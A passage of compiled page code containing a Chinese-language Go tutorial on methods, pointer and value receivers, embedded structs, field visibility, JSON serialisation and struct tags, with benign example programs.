age:90}\n'})}),"\n",(0,r.jsx)(e.h3,{id:"\u65b9\u6cd5\u548c\u63a5\u6536\u8005",children:"\u65b9\u6cd5\u548c\u63a5\u6536\u8005"}),"\n",(0,r.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u7684",(0,r.jsx)(e.code,{children:"\u65b9\u6cd5\uff08Method\uff09"}),"\u662f\u4e00\u79cd\u4f5c\u7528\u4e8e\u7279\u5b9a\u7c7b\u578b\u53d8\u91cf\u7684\u51fd\u6570\u3002\u8fd9\u79cd\u7279\u5b9a\u7c7b\u578b\u53d8\u91cf\u53eb\u505a",(0,r.jsx)(e.code,{children:"\u63a5\u6536\u8005\uff08Receiver\uff09"}),"\u3002\u63a5\u6536\u8005\u7684\u6982\u5ff5\u5c31\u7c7b\u4f3c\u4e8e\u5176\u4ed6\u8bed\u8a00\u4e2d\u7684",(0,r.jsx)(e.code,{children:"this"}),"\u6216\u8005 ",(0,r.jsx)(e.code,{children:"self"}),"\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u65b9\u6cd5\u7684\u5b9a\u4e49\u683c\u5f0f\u5982\u4e0b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"func (\u63a5\u6536\u8005\u53d8\u91cf \u63a5\u6536\u8005\u7c7b\u578b) \u65b9\u6cd5\u540d(\u53c2\u6570\u5217\u8868) (\u8fd4\u56de\u53c2\u6570) {\n \u51fd\u6570\u4f53\n}\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u5176\u4e2d\uff0c"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\u63a5\u6536\u8005\u53d8\u91cf\uff1a\u63a5\u6536\u8005\u4e2d\u7684\u53c2\u6570\u53d8\u91cf\u540d\u5728\u547d\u540d\u65f6\uff0c\u5b98\u65b9\u5efa\u8bae\u4f7f\u7528\u63a5\u6536\u8005\u7c7b\u578b\u540d\u79f0\u9996\u5b57\u6bcd\u7684\u5c0f\u5199\uff0c\u800c\u4e0d\u662f",(0,r.jsx)(e.code,{children:"self"}),"\u3001",(0,r.jsx)(e.code,{children:"this"}),"\u4e4b\u7c7b\u7684\u547d\u540d\u3002\u4f8b\u5982\uff0c",(0,r.jsx)(e.code,{children:"Person"}),"\u7c7b\u578b\u7684\u63a5\u6536\u8005\u53d8\u91cf\u5e94\u8be5\u547d\u540d\u4e3a ",(0,r.jsx)(e.code,{children:"p"}),"\uff0c",(0,r.jsx)(e.code,{children:"Connector"}),"\u7c7b\u578b\u7684\u63a5\u6536\u8005\u53d8\u91cf\u5e94\u8be5\u547d\u540d\u4e3a",(0,r.jsx)(e.code,{children:"c"}),"\u7b49\u3002"]}),"\n",(0,r.jsx)(e.li,{children:"\u63a5\u6536\u8005\u7c7b\u578b\uff1a\u63a5\u6536\u8005\u7c7b\u578b\u548c\u53c2\u6570\u7c7b\u4f3c\uff0c\u53ef\u4ee5\u662f\u6307\u9488\u7c7b\u578b\u548c\u975e\u6307\u9488\u7c7b\u578b\u3002"}),"\n",(0,r.jsx)(e.li,{children:"\u65b9\u6cd5\u540d\u3001\u53c2\u6570\u5217\u8868\u3001\u8fd4\u56de\u53c2\u6570\uff1a\u5177\u4f53\u683c\u5f0f\u4e0e\u51fd\u6570\u5b9a\u4e49\u76f8\u540c\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'//Person \u7ed3\u6784\u4f53\ntype Person struct {\n\tname string\n\tage int8\n}\n\n//NewPerson \u6784\u9020\u51fd\u6570\nfunc NewPerson(name string, age int8) *Person {\n\treturn &Person{\n\t\tname: name,\n\t\tage: age,\n\t}\n}\n\n//Dream Person\u505a\u68a6\u7684\u65b9\u6cd5\nfunc (p Person) Dream() {\n\tfmt.Printf("%s\u7684\u68a6\u60f3\u662f\u5b66\u597dGo\u8bed\u8a00\uff01\\n", p.name)\n}\n\nfunc main() {\n\tp1 := NewPerson("\u5c0f\u738b\u5b50", 25)\n\tp1.Dream()\n}\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u65b9\u6cd5\u4e0e\u51fd\u6570\u7684\u533a\u522b\u662f\uff0c\u51fd\u6570\u4e0d\u5c5e\u4e8e\u4efb\u4f55\u7c7b\u578b\uff0c\u65b9\u6cd5\u5c5e\u4e8e\u7279\u5b9a\u7684\u7c7b\u578b\u3002"}),"\n",(0,r.jsx)(e.h4,{id:"\u6307\u9488\u7c7b\u578b\u7684\u63a5\u6536\u8005",children:"\u6307\u9488\u7c7b\u578b\u7684\u63a5\u6536\u8005"}),"\n",(0,r.jsxs)(e.p,{children:["\u6307\u9488\u7c7b\u578b\u7684\u63a5\u6536\u8005\u7531\u4e00\u4e2a\u7ed3\u6784\u4f53\u7684\u6307\u9488\u7ec4\u6210\uff0c\u7531\u4e8e\u6307\u9488\u7684\u7279\u6027\uff0c\u8c03\u7528\u65b9\u6cd5\u65f6\u4fee\u6539\u63a5\u6536\u8005\u6307\u9488\u7684\u4efb\u610f\u6210\u5458\u53d8\u91cf\uff0c\u5728\u65b9\u6cd5\u7ed3\u675f\u540e\uff0c\u4fee\u6539\u90fd\u662f\u6709\u6548\u7684\u3002\u8fd9\u79cd\u65b9\u5f0f\u5c31\u5341\u5206\u63a5\u8fd1\u4e8e\u5176\u4ed6\u8bed\u8a00\u4e2d\u9762\u5411\u5bf9\u8c61\u4e2d\u7684",(0,r.jsx)(e.code,{children:"this"}),"\u6216\u8005",(0,r.jsx)(e.code,{children:"self"}),"\u3002 \u4f8b\u5982\u6211\u4eec\u4e3a",(0,r.jsx)(e.code,{children:"Person"}),"\u6dfb\u52a0\u4e00\u4e2a",(0,r.jsx)(e.code,{children:"SetAge"}),"\u65b9\u6cd5\uff0c\u6765\u4fee\u6539\u5b9e\u4f8b\u53d8\u91cf\u7684\u5e74\u9f84\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:"// SetAge \u8bbe\u7f6ep\u7684\u5e74\u9f84\n// \u4f7f\u7528\u6307\u9488\u63a5\u6536\u8005\nfunc (p *Person) SetAge(newAge int8) {\n\tp.age = newAge\n}\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u8c03\u7528\u8be5\u65b9\u6cd5\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'func main() {\n\tp1 := NewPerson("\u5c0f\u738b\u5b50", 25)\n\tfmt.Println(p1.age) // 25\n\tp1.SetAge(30)\n\tfmt.Println(p1.age) // 30\n}\n'})}),"\n",(0,r.jsx)(e.h4,{id:"\u503c\u7c7b\u578b\u7684\u63a5\u6536\u8005",children:"\u503c\u7c7b\u578b\u7684\u63a5\u6536\u8005"}),"\n",(0,r.jsx)(e.p,{children:"\u5f53\u65b9\u6cd5\u4f5c\u7528\u4e8e\u503c\u7c7b\u578b\u63a5\u6536\u8005\u65f6\uff0cGo\u8bed\u8a00\u4f1a\u5728\u4ee3\u7801\u8fd0\u884c\u65f6\u5c06\u63a5\u6536\u8005\u7684\u503c\u590d\u5236\u4e00\u4efd\u3002\u5728\u503c\u7c7b\u578b\u63a5\u6536\u8005\u7684\u65b9\u6cd5\u4e2d\u53ef\u4ee5\u83b7\u53d6\u63a5\u6536\u8005\u7684\u6210\u5458\u503c\uff0c\u4f46\u4fee\u6539\u64cd\u4f5c\u53ea\u662f\u9488\u5bf9\u526f\u672c\uff0c\u65e0\u6cd5\u4fee\u6539\u63a5\u6536\u8005\u53d8\u91cf\u672c\u8eab\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'// SetAge2 \u8bbe\u7f6ep\u7684\u5e74\u9f84\n// \u4f7f\u7528\u503c\u63a5\u6536\u8005\nfunc (p Person) SetAge2(newAge int8) {\n\tp.age = newAge\n}\n\nfunc main() {\n\tp1 := NewPerson("\u5c0f\u738b\u5b50", 25)\n\tp1.Dream()\n\tfmt.Println(p1.age) // 25\n\tp1.SetAge2(30) // (*p1).SetAge2(30)\n\tfmt.Println(p1.age) // 25\n}\n'})}),"\n",(0,r.jsx)(e.h4,{id:"\u4ec0\u4e48\u65f6\u5019\u5e94\u8be5\u4f7f\u7528\u6307\u9488\u7c7b\u578b\u63a5\u6536\u8005",children:"\u4ec0\u4e48\u65f6\u5019\u5e94\u8be5\u4f7f\u7528\u6307\u9488\u7c7b\u578b\u63a5\u6536\u8005"}),"\n",(0,r.jsxs)(e.ol,{children:["\n",(0,r.jsx)(e.li,{children:"\u9700\u8981\u4fee\u6539\u63a5\u6536\u8005\u4e2d\u7684\u503c"}),"\n",(0,r.jsx)(e.li,{children:"\u63a5\u6536\u8005\u662f\u62f7\u8d1d\u4ee3\u4ef7\u6bd4\u8f83\u5927\u7684\u5927\u5bf9\u8c61"}),"\n",(0,r.jsx)(e.li,{children:"\u4fdd\u8bc1\u4e00\u81f4\u6027\uff0c\u5982\u679c\u6709\u67d0\u4e2a\u65b9\u6cd5\u4f7f\u7528\u4e86\u6307\u9488\u63a5\u6536\u8005\uff0c\u90a3\u4e48\u5176\u4ed6\u7684\u65b9\u6cd5\u4e5f\u5e94\u8be5\u4f7f\u7528\u6307\u9488\u63a5\u6536\u8005\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.h3,{id:"\u4efb\u610f\u7c7b\u578b\u6dfb\u52a0\u65b9\u6cd5",children:"\u4efb\u610f\u7c7b\u578b\u6dfb\u52a0\u65b9\u6cd5"}),"\n",(0,r.jsxs)(e.p,{children:["\u5728Go\u8bed\u8a00\u4e2d\uff0c\u63a5\u6536\u8005\u7684\u7c7b\u578b\u53ef\u4ee5\u662f\u4efb\u4f55\u7c7b\u578b\uff0c\u4e0d\u4ec5\u4ec5\u662f\u7ed3\u6784\u4f53\uff0c\u4efb\u4f55\u7c7b\u578b\u90fd\u53ef\u4ee5\u62e5\u6709\u65b9\u6cd5\u3002 \u4e3e\u4e2a\u4f8b\u5b50\uff0c\u6211\u4eec\u57fa\u4e8e\u5185\u7f6e\u7684",(0,r.jsx)(e.code,{children:"int"}),"\u7c7b\u578b\u4f7f\u7528type\u5173\u952e\u5b57\u53ef\u4ee5\u5b9a\u4e49\u65b0\u7684\u81ea\u5b9a\u4e49\u7c7b\u578b\uff0c\u7136\u540e\u4e3a\u6211\u4eec\u7684\u81ea\u5b9a\u4e49\u7c7b\u578b\u6dfb\u52a0\u65b9\u6cd5\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'//MyInt \u5c06int\u5b9a\u4e49\u4e3a\u81ea\u5b9a\u4e49MyInt\u7c7b\u578b\ntype MyInt int\n\n//SayHello \u4e3aMyInt\u6dfb\u52a0\u4e00\u4e2aSayHello\u7684\u65b9\u6cd5\nfunc (m MyInt) SayHello() {\n\tfmt.Println("Hello, \u6211\u662f\u4e00\u4e2aint\u3002")\n}\nfunc main() {\n\tvar m1 MyInt\n\tm1.SayHello() //Hello, \u6211\u662f\u4e00\u4e2aint\u3002\n\tm1 = 100\n\tfmt.Printf("%#v %T\\n", m1, m1) //100 main.MyInt\n}\n'})}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"\u6ce8\u610f\u4e8b\u9879\uff1a"})," \u975e\u672c\u5730\u7c7b\u578b\u4e0d\u80fd\u5b9a\u4e49\u65b9\u6cd5\uff0c\u4e5f\u5c31\u662f\u8bf4\u6211\u4eec\u4e0d\u80fd\u7ed9\u522b\u7684\u5305\u7684\u7c7b\u578b\u5b9a\u4e49\u65b9\u6cd5\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"\u7ed3\u6784\u4f53\u7684\u533f\u540d\u5b57\u6bb5",children:"\u7ed3\u6784\u4f53\u7684\u533f\u540d\u5b57\u6bb5"}),"\n",(0,r.jsx)(e.p,{children:"\u7ed3\u6784\u4f53\u5141\u8bb8\u5176\u6210\u5458\u5b57\u6bb5\u5728\u58f0\u660e\u65f6\u6ca1\u6709\u5b57\u6bb5\u540d\u800c\u53ea\u6709\u7c7b\u578b\uff0c\u8fd9\u79cd\u6ca1\u6709\u540d\u5b57\u7684\u5b57\u6bb5\u5c31\u79f0\u4e3a\u533f\u540d\u5b57\u6bb5\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'//Person \u7ed3\u6784\u4f53Person\u7c7b\u578b\ntype Person struct {\n\tstring\n\tint\n}\n\nfunc main() {\n\tp1 := Person{\n\t\t"\u5c0f\u738b\u5b50",\n\t\t18,\n\t}\n\tfmt.Printf("%#v\\n", p1) //main.Person{string:"\u5317\u4eac", int:18}\n\tfmt.Println(p1.string, p1.int) //\u5317\u4eac 18\n}\n'})}),"\n",(0,r.jsx)(e.p,{children:"**\u6ce8\u610f\uff1a**\u8fd9\u91cc\u533f\u540d\u5b57\u6bb5\u7684\u8bf4\u6cd5\u5e76\u4e0d\u4ee3\u8868\u6ca1\u6709\u5b57\u6bb5\u540d\uff0c\u800c\u662f\u9ed8\u8ba4\u4f1a\u91c7\u7528\u7c7b\u578b\u540d\u4f5c\u4e3a\u5b57\u6bb5\u540d\uff0c\u7ed3\u6784\u4f53\u8981\u6c42\u5b57\u6bb5\u540d\u79f0\u5fc5\u987b\u552f\u4e00\uff0c\u56e0\u6b64\u4e00\u4e2a\u7ed3\u6784\u4f53\u4e2d\u540c\u79cd\u7c7b\u578b\u7684\u533f\u540d\u5b57\u6bb5\u53ea\u80fd\u6709\u4e00\u4e2a\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"\u5d4c\u5957\u7ed3\u6784\u4f53",children:"\u5d4c\u5957\u7ed3\u6784\u4f53"}),"\n",(0,r.jsx)(e.p,{children:"\u4e00\u4e2a\u7ed3\u6784\u4f53\u4e2d\u53ef\u4ee5\u5d4c\u5957\u5305\u542b\u53e6\u4e00\u4e2a\u7ed3\u6784\u4f53\u6216\u7ed3\u6784\u4f53\u6307\u9488\uff0c\u5c31\u50cf\u4e0b\u9762\u7684\u793a\u4f8b\u4ee3\u7801\u90a3\u6837\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'//Address \u5730\u5740\u7ed3\u6784\u4f53\ntype Address struct {\n\tProvince string\n\tCity string\n}\n\n//User \u7528\u6237\u7ed3\u6784\u4f53\ntype User struct {\n\tName string\n\tGender string\n\tAddress Address\n}\n\nfunc main() {\n\tuser1 := User{\n\t\tName: "\u5c0f\u738b\u5b50",\n\t\tGender: "\u7537",\n\t\tAddress: Address{\n\t\t\tProvince: "\u5c71\u4e1c",\n\t\t\tCity: "\u5a01\u6d77",\n\t\t},\n\t}\n\tfmt.Printf("user1=%#v\\n", user1)//user1=main.User{Name:"\u5c0f\u738b\u5b50", Gender:"\u7537", Address:main.Address{Province:"\u5c71\u4e1c", City:"\u5a01\u6d77"}}\n}\n'})}),"\n",(0,r.jsx)(e.h4,{id:"\u5d4c\u5957\u533f\u540d\u5b57\u6bb5",children:"\u5d4c\u5957\u533f\u540d\u5b57\u6bb5"}),"\n",(0,r.jsxs)(e.p,{children:["\u4e0a\u9762user\u7ed3\u6784\u4f53\u4e2d\u5d4c\u5957\u7684",(0,r.jsx)(e.code,{children:"Address"}),"\u7ed3\u6784\u4f53\u4e5f\u53ef\u4ee5\u91c7\u7528\u533f\u540d\u5b57\u6bb5\u7684\u65b9\u5f0f\uff0c\u4f8b\u5982\uff1a"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'//Address \u5730\u5740\u7ed3\u6784\u4f53\ntype Address struct {\n\tProvince string\n\tCity string\n}\n\n//User \u7528\u6237\u7ed3\u6784\u4f53\ntype User struct {\n\tName string\n\tGender string\n\tAddress //\u533f\u540d\u5b57\u6bb5\n}\n\nfunc main() {\n\tvar user2 User\n\tuser2.Name = "\u5c0f\u738b\u5b50"\n\tuser2.Gender = "\u7537"\n\tuser2.Address.Province = "\u5c71\u4e1c" // \u533f\u540d\u5b57\u6bb5\u9ed8\u8ba4\u4f7f\u7528\u7c7b\u578b\u540d\u4f5c\u4e3a\u5b57\u6bb5\u540d\n\tuser2.City = "\u5a01\u6d77" // \u533f\u540d\u5b57\u6bb5\u53ef\u4ee5\u7701\u7565\n\tfmt.Printf("user2=%#v\\n", user2) //user2=main.User{Name:"\u5c0f\u738b\u5b50", Gender:"\u7537", Address:main.Address{Province:"\u5c71\u4e1c", City:"\u5a01\u6d77"}}\n}\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u5f53\u8bbf\u95ee\u7ed3\u6784\u4f53\u6210\u5458\u65f6\u4f1a\u5148\u5728\u7ed3\u6784\u4f53\u4e2d\u67e5\u627e\u8be5\u5b57\u6bb5\uff0c\u627e\u4e0d\u5230\u518d\u53bb\u5d4c\u5957\u7684\u533f\u540d\u5b57\u6bb5\u4e2d\u67e5\u627e\u3002"}),"\n",(0,r.jsx)(e.h4,{id:"\u5d4c\u5957\u7ed3\u6784\u4f53\u7684\u5b57\u6bb5\u540d\u51b2\u7a81",children:"\u5d4c\u5957\u7ed3\u6784\u4f53\u7684\u5b57\u6bb5\u540d\u51b2\u7a81"}),"\n",(0,r.jsx)(e.p,{children:"\u5d4c\u5957\u7ed3\u6784\u4f53\u5185\u90e8\u53ef\u80fd\u5b58\u5728\u76f8\u540c\u7684\u5b57\u6bb5\u540d\u3002\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\u4e3a\u4e86\u907f\u514d\u6b67\u4e49\u9700\u8981\u901a\u8fc7\u6307\u5b9a\u5177\u4f53\u7684\u5185\u5d4c\u7ed3\u6784\u4f53\u5b57\u6bb5\u540d\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'//Address \u5730\u5740\u7ed3\u6784\u4f53\ntype Address struct {\n\tProvince string\n\tCity string\n\tCreateTime string\n}\n\n//Email \u90ae\u7bb1\u7ed3\u6784\u4f53\ntype Email struct {\n\tAccount string\n\tCreateTime string\n}\n\n//User \u7528\u6237\u7ed3\u6784\u4f53\ntype User struct {\n\tName string\n\tGender string\n\tAddress\n\tEmail\n}\n\nfunc main() {\n\tvar user3 User\n\tuser3.Name = "\u6c99\u6cb3\u5a1c\u624e"\n\tuser3.Gender = "\u7537"\n\t// user3.CreateTime = "2019" //ambiguous selector user3.CreateTime\n\tuser3.Address.CreateTime = "2000" //\u6307\u5b9aAddress\u7ed3\u6784\u4f53\u4e2d\u7684CreateTime\n\tuser3.Email.CreateTime = "2000" //\u6307\u5b9aEmail\u7ed3\u6784\u4f53\u4e2d\u7684CreateTime\n}\n'})}),"\n",(0,r.jsx)(e.h3,{id:"\u7ed3\u6784\u4f53\u7684\u7ee7\u627f",children:"\u7ed3\u6784\u4f53\u7684\u201c\u7ee7\u627f\u201d"}),"\n",(0,r.jsx)(e.p,{children:"Go\u8bed\u8a00\u4e2d\u4f7f\u7528\u7ed3\u6784\u4f53\u4e5f\u53ef\u4ee5\u5b9e\u73b0\u5176\u4ed6\u7f16\u7a0b\u8bed\u8a00\u4e2d\u9762\u5411\u5bf9\u8c61\u7684\u7ee7\u627f\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'//Animal \u52a8\u7269\ntype Animal struct {\n\tname string\n}\n\nfunc (a *Animal) move() {\n\tfmt.Printf("%s\u4f1a\u52a8\uff01\\n", a.name)\n}\n\n//Dog \u72d7\ntype Dog struct {\n\tFeet int8\n\t*Animal //\u901a\u8fc7\u5d4c\u5957\u533f\u540d\u7ed3\u6784\u4f53\u5b9e\u73b0\u7ee7\u627f\n}\n\nfunc (d *Dog) wang() {\n\tfmt.Printf("%s\u4f1a\u6c6a\u6c6a\u6c6a~\\n", d.name)\n}\n\nfunc main() {\n\td1 := &Dog{\n\t\tFeet: 4,\n\t\tAnimal: &Animal{ //\u6ce8\u610f\u5d4c\u5957\u7684\u662f\u7ed3\u6784\u4f53\u6307\u9488\n\t\t\tname: "\u4e50\u4e50",\n\t\t},\n\t}\n\td1.wang() //\u4e50\u4e50\u4f1a\u6c6a\u6c6a\u6c6a~\n\td1.move() //\u4e50\u4e50\u4f1a\u52a8\uff01\n}\n'})}),"\n",(0,r.jsx)(e.h3,{id:"\u7ed3\u6784\u4f53\u5b57\u6bb5\u7684\u53ef\u89c1\u6027",children:"\u7ed3\u6784\u4f53\u5b57\u6bb5\u7684\u53ef\u89c1\u6027"}),"\n",(0,r.jsx)(e.p,{children:"\u7ed3\u6784\u4f53\u4e2d\u5b57\u6bb5\u5927\u5199\u5f00\u5934\u8868\u793a\u53ef\u516c\u5f00\u8bbf\u95ee\uff0c\u5c0f\u5199\u8868\u793a\u79c1\u6709\uff08\u4ec5\u5728\u5b9a\u4e49\u5f53\u524d\u7ed3\u6784\u4f53\u7684\u5305\u4e2d\u53ef\u8bbf\u95ee\uff09\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"\u7ed3\u6784\u4f53\u4e0ejson\u5e8f\u5217\u5316",children:"\u7ed3\u6784\u4f53\u4e0eJSON\u5e8f\u5217\u5316"}),"\n",(0,r.jsxs)(e.p,{children:["JSON(JavaScript Object Notation) \u662f\u4e00\u79cd\u8f7b\u91cf\u7ea7\u7684\u6570\u636e\u4ea4\u6362\u683c\u5f0f\u3002\u6613\u4e8e\u4eba\u9605\u8bfb\u548c\u7f16\u5199\u3002\u540c\u65f6\u4e5f\u6613\u4e8e\u673a\u5668\u89e3\u6790\u548c\u751f\u6210\u3002JSON\u952e\u503c\u5bf9\u662f\u7528\u6765\u4fdd\u5b58JS\u5bf9\u8c61\u7684\u4e00\u79cd\u65b9\u5f0f\uff0c\u952e/\u503c\u5bf9\u7ec4\u5408\u4e2d\u7684\u952e\u540d\u5199\u5728\u524d\u9762\u5e76\u7528\u53cc\u5f15\u53f7",(0,r.jsx)(e.code,{children:'""'}),"\u5305\u88f9\uff0c\u4f7f\u7528\u5192\u53f7",(0,r.jsx)(e.code,{children:":"}),"\u5206\u9694\uff0c\u7136\u540e\u7d27\u63a5\u7740\u503c\uff1b\u591a\u4e2a\u952e\u503c\u4e4b\u95f4\u4f7f\u7528\u82f1\u6587",(0,r.jsx)(e.code,{children:","}),"\u5206\u9694\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'//Student \u5b66\u751f\ntype Student struct {\n\tID int\n\tGender string\n\tName string\n}\n\n//Class \u73ed\u7ea7\ntype Class struct {\n\tTitle string\n\tStudents []*Student\n}\n\nfunc main() {\n\tc := &Class{\n\t\tTitle: "101",\n\t\tStudents: make([]*Student, 0, 200),\n\t}\n\tfor i := 0; i < 10; i++ {\n\t\tstu := &Student{\n\t\t\tName: fmt.Sprintf("stu%02d", i),\n\t\t\tGender: "\u7537",\n\t\t\tID: i,\n\t\t}\n\t\tc.Students = append(c.Students, stu)\n\t}\n\t//JSON\u5e8f\u5217\u5316\uff1a\u7ed3\u6784\u4f53--\x3eJSON\u683c\u5f0f\u7684\u5b57\u7b26\u4e32\n\tdata, err := json.Marshal(c)\n\tif err != nil {\n\t\tfmt.Println("json marshal failed")\n\t\treturn\n\t}\n\tfmt.Printf("json:%s\\n", data)\n\t//JSON\u53cd\u5e8f\u5217\u5316\uff1aJSON\u683c\u5f0f\u7684\u5b57\u7b26\u4e32--\x3e\u7ed3\u6784\u4f53\n\tstr := `{"Title":"101","Students":[{"ID":0,"Gender":"\u7537","Name":"stu00"},{"ID":1,"Gender":"\u7537","Name":"stu01"},{"ID":2,"Gender":"\u7537","Name":"stu02"},{"ID":3,"Gender":"\u7537","Name":"stu03"},{"ID":4,"Gender":"\u7537","Name":"stu04"},{"ID":5,"Gender":"\u7537","Name":"stu05"},{"ID":6,"Gender":"\u7537","Name":"stu06"},{"ID":7,"Gender":"\u7537","Name":"stu07"},{"ID":8,"Gender":"\u7537","Name":"stu08"},{"ID":9,"Gender":"\u7537","Name":"stu09"}]}`\n\tc1 := &Class{}\n\terr = json.Unmarshal([]byte(str), c1)\n\tif err != nil {\n\t\tfmt.Println("json unmarshal failed!")\n\t\treturn\n\t}\n\tfmt.Printf("%#v\\n", c1)\n}\n'})}),"\n",(0,r.jsx)(e.h3,{id:"\u7ed3\u6784\u4f53\u6807\u7b7etag",children:"\u7ed3\u6784\u4f53\u6807\u7b7e\uff08Tag\uff09"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"Tag"}),"\u662f\u7ed3\u6784\u4f53\u7684\u5143\u4fe1\u606f\uff0c\u53ef\u4ee5\u5728\u8fd0\u884c\u7684\u65f6\u5019\u901a\u8fc7\u53cd\u5c04\u7684\u673a\u5236\u8bfb\u53d6\u51fa\u6765\u3002 ",(0,r.jsx)(e.code,{children:"Tag"}),"\u5728\u7ed3\u6784\u4f53\u5b57\u6bb5\u7684\u540e\u65b9\u5b9a\u4e49\uff0c\u7531\u4e00\u5bf9",(0,r.jsx)(e.strong,{children:"\u53cd\u5f15\u53f7"}),"\u5305\u88f9\u8d77\u6765\uff0c\u5177\u4f53\u7684\u683c\u5f0f\u5982\u4e0b\uff1a"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-bash",children:'`key1:"value1" key2:"value2"`\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u7ed3\u6784\u4f53tag\u7531\u4e00\u4e2a\u6216\u591a\u4e2a\u952e\u503c\u5bf9\u7ec4\u6210\u3002\u952e\u4e0e\u503c\u4f7f\u7528\u5192\u53f7\u5206\u9694\uff0c\u503c\u7528\u53cc\u5f15\u53f7\u62ec\u8d77\u6765\u3002\u540c\u4e00\u4e2a\u7ed3\u6784\u4f53\u5b57\u6bb5\u53ef\u4ee5\u8bbe\u7f6e\u591a\u4e2a\u952e\u503c\u5bf9tag\uff0c\u4e0d\u540c\u7684\u952e\u503c\u5bf9\u4e4b\u95f4\u4f7f\u7528\u7a7a\u683c\u5206\u9694\u3002"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.strong,{children:"\u6ce8\u610f\u4e8b\u9879\uff1a"})," \u4e3a\u7ed3\u6784\u4f53\u7f16\u5199",(0,r.jsx)(e.code,{children:"Tag"}),"\u65f6\uff0c\u5fc5\u987b\u4e25\u683c\u9075\u5b88\u952e\u503c\u5bf9\u7684\u89c4\u5219\u3002\u7ed3\u6784\u4f53\u6807\u7b7e\u7684\u89e3\u6790\u4ee3\u7801\u7684\u5bb9\u9519\u80fd\u529b\u5f88\u5dee\uff0c\u4e00\u65e6\u683c\u5f0f\u5199\u9519\uff0c\u7f16\u8bd1\u548c\u8fd0\u884c\u65f6\u90fd\u4e0d\u4f1a\u63d0\u793a\u4efb\u4f55\u9519\u8bef\uff0c\u901a\u8fc7\u53cd\u5c04\u4e5f\u65e0\u6cd5\u6b63\u786e\u53d6\u503c\u3002\u4f8b\u5982\u4e0d\u8981\u5728key\u548cvalue\u4e4b\u95f4\u6dfb\u52a0\u7a7a\u683c\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u4f8b\u5982\u6211\u4eec\u4e3a",(0,r.jsx)(e.code,{children:"Student"}),"\u7ed3\u6784\u4f53\u7684\u6bcf\u4e2a\u5b57\u6bb5\u5b9a\u4e49json\u5e8f\u5217\u5316\u65f6\u4f7f\u7528\u7684Tag\uff1a"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'//Student \u5b66\u751f\ntype Student struct {\n\tID int `json:"id"` //\u901a\u8fc7\u6307\u5b9atag\u5b9e\u73b0json\u5e8f\u5217\u5316\u8be5\u5b57\u6bb5\u65f6\u7684key\n\tGender string //json\u5e8f\u5217\u5316\u662f\u9ed8\u8ba4\u4f7f\u7528\u5b57\u6bb5\u540d\u4f5c\u4e3akey\n\tname string //\u79c1\u6709\u4e0d\u80fd\u88abjson\u5305\u8bbf\u95ee\n}\n\nfunc main() {\n\ts1 := Student{\n\t\tID: 1,\n\t\tGender: "\u7537",\n\t\tname: "\u6c99\u6cb3\u5a1c\u624e",\n\t}\n\tdata, err := json.Marshal(s1)\n\tif err != nil {\n\t\tfmt.Println("json marshal failed!")\n\t\treturn\n\t}\n\tfmt.Printf("json str:%s\\n", data) //json str:{"id":1,"Gender":"\u7537"}\n}\n'})}),"\n",(0,r.jsx)(e.h3,{id:"\u7ed3\u6784\u4f53\u548c\u65b9\u6cd5\u8865\u5145\u77e5\u8bc6\u70b9",children:"\u7ed3\u6784\u4f53\u548c\u65b9\u6cd5\u8865\u5145\u77e5\u8bc6\u70b9"}),"\n",(0,r.jsx)(e.p,{children:"\u56e0\u4e3aslice\u548cmap\u8fd9\u4e24\u79cd\u6570\u636e\u7c7b\u578b\u90fd\u5305\u542b\u4e86\u6307\u5411\u5e95\u5c42\u6570\u636e\u7684\u6307\u9488\uff0c\u56e0\u6b64\u6211\u4eec\u5728\u9700\u8981\u590d\u5236\u5b83\u4eec\u65f6\u8981\u7279\u522b\u6ce8\u610f\u3002\u6211\u4eec\u6765\u770b\u4e0b\u9762\u7684\u4f8b\u5b50\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'type Person struct {\n\tname string\n\tage int8\n\tdreams []string\n}\n\nfunc (p *Person) SetDreams(dreams []string) {\n\tp.dreams = dreams\n}\n\nfunc main() {\n\tp1 := Person{name: "\u5c0f\u738b\u5b50", age: 18}\n\tdata := 